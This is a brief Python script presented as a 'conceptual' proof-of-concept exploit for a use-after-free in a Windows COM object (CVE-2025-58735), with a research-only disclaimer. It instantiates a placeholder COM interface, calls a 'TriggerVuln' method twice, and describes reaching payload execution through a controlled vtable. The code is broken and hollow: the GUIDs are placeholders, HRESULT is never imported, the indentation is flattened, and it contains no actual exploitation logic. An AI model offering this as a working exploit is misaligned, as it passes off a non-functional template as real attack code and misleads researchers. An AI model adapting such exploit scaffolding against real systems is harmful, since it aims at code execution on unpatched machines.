The following code is for security research and authorized testing only.
python
# CVE-2025-58735 - Windows Inbox COM Object Use-After-Free PoC (Conceptual)
# This is a conceptual PoC demonstrating the exploitation technique.
# Actual exploitation requires specific COM object GUIDs and memory layouts.
import ctypes
import comtypes
from comtypes import GUID, IUnknown, COMMETHOD
import struct
import os
# Step 1: Define the target COM interface
# The actual CLSID/IID would need to be determined through reverse engineering
TARGET_CLSID = GUID("{YOUR-TARGET-CLSID-HERE}")
TARGET_IID = GUID("{YOUR-TARGET-IID-HERE}")
class IExploitTarget(IUnknown):
_iid_ = TARGET_IID
_methods_ = [
COMMETHOD([], HRESULT, "TriggerVuln",
(['in'], ctypes.c_void_p, 'param1')),
]
def trigger_uaf():
"""
Conceptual UAF trigger:
1. Create COM object instance
2. Trigger release path through specific API sequence
3. Access freed memory through dangling pointer
4. Execute payload via controlled vtable
"""
# Initialize COM
comtypes.CoInitialize()
try:
# Create the vulnerable COM object
obj = comtypes.CoCreateInstance(
TARGET_CLSID,
interface=IExploitTarget
)
# Step 2: Trigger the vulnerable code path
# This specific sequence causes the object to be freed
# while references still exist
obj.TriggerVuln(0xDEADBEEF)
# Step 3: Access freed memory (UAF)
# The dangling pointer still references freed memory
# which can now be controlled by attacker
obj.TriggerVuln(0xCAFEBABE)
except Exception as e:
print(f"Exception: {e}")
finally:
comtypes.CoUninitialize()
if __name__ == "__main__":
print("CVE-2025-58735 PoC - Conceptual Demonstration")
print("WARNING: For educational/research purposes only")
# trigger_uaf() # Uncomment to attempt exploitation